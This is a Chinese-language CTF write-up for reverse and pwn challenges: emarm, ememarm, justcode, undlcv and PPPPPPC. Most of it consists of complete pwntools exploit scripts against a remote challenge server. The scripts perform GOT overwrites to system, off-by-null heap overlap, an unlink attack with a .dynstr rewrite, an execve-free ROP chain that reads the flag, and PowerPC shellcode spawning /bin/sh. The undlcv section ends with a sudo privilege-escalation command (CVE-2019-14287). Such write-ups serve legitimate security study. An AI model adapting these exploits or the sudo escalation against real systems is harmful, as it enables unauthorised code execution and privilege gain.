REVERSE

decryption

直接按照演算法爆破（都是可見字符）

exp

buf=[0x12,0x45,0x10,0x47,0x19,0x49,0x49,0x49,0x1a,0x4f,0x1c,0x1e,0x52,0x66,0x1d,0x52,0x66,0x67,0x68,0x67,0x65,0x6f,0x5f,0x59,0x58,0x5e,0x6d,0x70,0xa1,0x6e,0x70,0xa3]
temp=[0x2d,0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4a,0x4b,0x4c,0x4d,0x4e,0x4f,0x50,0x51,0x52,0x53,0x54,0x55,0x56,0x57,0x58,0x59,0x5a,0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,0x69,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x77,0x78,0x79,0x7a]
flag=''
for j in range(32):
    temp1=[]
    for i in temp:
        v5=i
        v4=j
        v3=1
        while v3!=0:
            v3=2*(v4&v5)
            v5^=v4
            v4=v3
            # hex(v5)
            # hex(v3)
        temp1.append(v5^0x23)
        # print(hex(v5^0x23))
    print(hex(temp[temp1.index(buf[j])]))
    flag+=chr(temp[temp1.index(buf[j])])

print(flag)

PWN

emarm

checksec

爆破成功后可以任意地址寫，直接寫atoi的got表為system，之后輸入sh就可以getshell，由于是用qemu啟動的所以libc的地址不會改變，遠程的時候可以直接用改atoi的got表為puts先leak基地址，再getshell，

exp

from pwn import *
local=0
elf=ELF('./a')
libc=ELF('./lib/libc.so.6')
def exp():
    while 1:
        try:
            if local:
                sh=process(["qemu-aarch64","-L","./","./a"])
                # sh=process(["qemu-aarch64","-g","1234","-L","./","./a"])
                libc.address=0x400084d000
                # 0x00000040008b8308
            else:
                sh=remote('183.129.189.60','10012')
                libc.address=0x4000830000
                # 0x000000400089b308

            sh.sendlineafter('passwd:\n','\xc7')
            sh.send(str(elf.got['atoi']))
            sh.sendafter('success',p64(libc.sym['system']))
            sh.send('sh\x00')
            sh.interactive()
        except:
            sh.close()

exp()

ememarm

checksec

題目漏洞

存在off-by-null

通過除錯可以發現存在tcache直接構造chunk overlapping，將free_hook寫入，之后通過edit寫free_hook為system，

from pwn import *
local=0
elf=ELF('./a')
libc=ELF('./lib/libc.so.6')
if local:
    sh=process(["qemu-aarch64","-L","./","./a"])
    # sh=process(["qemu-aarch64","-g","1234","-L","./","./a"])
    libc.address=0x400084d000
    # 0x00000040008b8308
else:
    sh=remote('183.129.189.60','10034')
    libc.address=0x4000830000
    # 0x000000400089b308

def add_0x20(cx,cy,choose):
    sh.sendlineafter(': \n','1')
    sh.sendafter('cx:\n',cx)
    sh.sendafter('cy:\n',cy)
    sh.sendlineafter('?\n',str(choose))

def show(index):
    sh.sendlineafter(': \n','2')
    sh.sendline(str(index))

def edit(index,content):
    sh.sendlineafter(': \n','3')
    sh.sendline(str(index))
    sh.send(content)

def add_0x30(cx,cy,choose):
    sh.sendlineafter(': \n','4')
    sh.sendafter('cx:\n',cx)
    sh.sendafter('cy:\n',cy)
    sh.sendlineafter('?\n',str(choose))

def init():
    sh.sendafter('\n','/bin/sh\x00')

init()
add_0x20('a','b',1) # 1
add_0x20('c','d',1) # 2
add_0x20('\x00','\x31',1) # 3
add_0x20('\x00','\x20',1) # 4
add_0x30('i','j',1) # 5
edit(4,p64(0)+p64(0x21)+p64(0))
add_0x20('a',p64(elf.got['free']),1)
edit(4,p64(libc.sym['system']))
# edit(4,p64(elf.plt['puts']))
# context.log_level='debug'
sh.sendlineafter(': \n','5')
# edit(3,'a'*0x18)
sh.interactive()

justcode

checksec

題目還禁用了execve

題目漏洞

堆疊上資料沒有初始化，

堆疊上資料沒有初始化，可以通過sub_400C47()函式配合scanf完成4位元組地址的任意地址寫，先通過sub_400C47()函式泄露出libc的基地址和堆疊地址，之后將exit的got表修改為main函式的地址，之后將strdup的got表寫入add_rsp8_ret的低四個位元組，最后再次呼叫sub_400C47()函式寫入rop鏈，

exp

from pwn import *
context.arch='amd64'
local=0
if local:
    sh=process('./a')
    libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    sh=remote('183.129.189.60','10041')
    libc=ELF('./libc-2.23.so')

elf=ELF('./a')
exit_got=elf.got['exit']
bss_addr=elf.bss()
main_addr=0x400D76
rop_addr=0x6020e0
pop_rdi_ret_addr=0x21112
pop_rsi_ret_addr=0x202f8
pop_rdx_ret_addr=0x1b92
add_rsp8_ret=0x35142
def sendcode(code):
    sh.recvuntil('your code:\n')
    for i in code:
        sh.sendline(str(i))

def set_name(name):
    sh.sendafter('name:\n',name)

def set_id_info(id,info):
    sh.sendlineafter('id',str(id))
    sh.sendafter('info:',info)

def get_high(num):
    return num>>32

def get_low(num):
    return num&0xffffffff

sendcode([1,1,2,3])
set_name('a'*8)
sh.recvuntil('a'*8)
libc.address=u64(sh.recv(6).ljust(8,'\x00'))-libc.sym['_IO_default_uflow']-0xe
print hex(libc.address)
pop_rdi_ret_addr+=libc.address
pop_rsi_ret_addr+=libc.address
pop_rdx_ret_addr+=libc.address
add_rsp8_ret+=libc.address
payload='a'*0xc+p32(exit_got)
set_name(payload)
set_id_info(main_addr,'aaaa')
sendcode([1,3,3])
set_name('a'*0x28)
sh.recvuntil('a'*0x28)
main_ret_addr=u64(sh.recv(6).ljust(8,'\x00'))+0x28
print hex(main_ret_addr)
flag_addr=main_ret_addr-0x80
# 0x7ffd64afaf18-0x7FFD64AFAE98
# # open(&flag,0,0)
rop_chain=p64(pop_rdi_ret_addr)+p64(flag_addr)+p64(pop_rsi_ret_addr)+p64(0)+p64(pop_rdx_ret_addr)+p64(0)+p64(libc.sym['open'])
# read(3,bss_addr,0x40)
rop_chain+=p64(pop_rdi_ret_addr)+p64(3)+p64(pop_rsi_ret_addr)+p64(bss_addr)+p64(pop_rdx_ret_addr)+p64(0x40)+p64(elf.plt['read'])
# puts(bss_addr)
rop_chain+=p64(pop_rdi_ret_addr)+p64(bss_addr)+p64(elf.plt['puts'])+'./flag\x00'
sendcode([1,2,1,3])
payload='a'*0xc+p32(elf.got['strdup'])
set_name(payload)
set_id_info(get_low(add_rsp8_ret),'aaaa')
set_name(rop_chain)
sh.interactive()

undlcv

checksec

題目漏洞

存在off-by-null

沒什么說的直接unlink，但是題目沒有輸出函式無法leak地址，所以只能修改 .dynamic 節中的字串表的地址然后將atoi字串修改為system，修改atoi的got表為atoi@ptl+4以便觸發 _dl_runtime_resolve，getshell后需要使用sudo提權(CVE-2019-14287)后才能cat flag，

exp

from pwn import *
local=0
if local:
    sh=process('./undlcv')
else:
    sh=remote('183.129.189.60','10013')

heap_pointer=0x403480
elf=ELF('./undlcv')
def add(index):
    sleep(0.1)
    sh.sendline('1')
    sleep(0.1)
    sh.sendline(str(index))
    sleep(0.1)

def edit(index,content):
    sleep(0.1)
    sh.sendline('2')
    sleep(0.1)
    sh.sendline(str(index))
    sleep(0.1)
    sh.send(content)
    sleep(0.1)

def delete(index):
    sleep(0.1)
    sh.sendline('3')
    sleep(0.1)
    sh.sendline(str(index))
    sleep(0.1)

add(0)
add(1)
sleep(0.1)
sh.sendline('4')
payload=p64(0)+p64(0xf1)+p64(heap_pointer-0x18)+p64(heap_pointer-0x10)+'\x00'*0xd0+p64(0xf0)
edit(0,payload)
delete(1)
dynstr=elf.get_section_by_name('.dynstr').data()
dynstr=dynstr.replace("atoi","system")
payload=p64(0)*3+p64(elf.got['atoi'])+p64(0x4032A8)+dynstr
edit(0,payload)
edit(1,p64(0x403490))
edit(0,p64(0x401084))
sleep(0.1)
sh.sendline('/bin/sh\x00')
# context.log_level='debug'
sh.interactive()
# sudo -u#-1 cat flag

韌體

NodeMCU

直接查找字串flag

PPPPPPC

存在堆疊溢位，直接ret2shellcode，題目提供的qemu會輸出報錯資訊，根據報錯資訊可以算出一系列地址，如果shellcode匯編的時候報錯可以根據報錯資訊解決，

exp

from pwn import *
context.arch='powerpc'
context.endian='big'
local=0
if local:
    sh=process(["./qemu-ppc-static","./a"])
    # sh=process(["./qemu-ppc-static","-g","1234","./a"])
    # 0xF6FFEf18-0xf6ffef10=0x8 # vscode shell
    # 0xF6FFEd78-0xf6ffed70=0x8 # vmware
    shellcode=asm("""
    xor 3,3,3  
    xor 6,6,6
    addi 6,6,0x7000
    add 6,6,6
    addi 6,6,0xd78
    lis 3, 0xF6FF
    add 3,3,6
    xor 4,4,4
    xor 5,5,5
    li 0, 11
    sc
    """)
    # 0xF6FFEDD8=0xf6ffef10-0x138 # vscode shell 
    # 0xf6ffec38=0xf6ffed70-0x138 # vmware
    shellcode_addr=0xf6ffec38
else:
    sh=remote('183.129.189.60','10039')
    # 0xf6fffbf8-0xf6fffbf0=0x8
    shellcode=asm("""
    xor 3,3,3  
    xor 6,6,6
    addi 6,6,0x7000
    add 6,6,6
    addi 6,6,0x1000
    addi 6,6,0xbf8
    lis 3, 0xF6FF
    add 3,3,6
    xor 4,4,4
    xor 5,5,5
    li 0, 11
    sc
    """)
    # 0xf6fffab8=0xf6fffbf0-0x138
    shellcode_addr=0xf6fffab8

payload=shellcode.ljust(0x13c,'a')+p32(shellcode_addr)+'/bin/sh\x00'
# payload='a'*0x13c+'b'*4
sh.sendlineafter('Tell me your name: ',payload)
sh.interactive()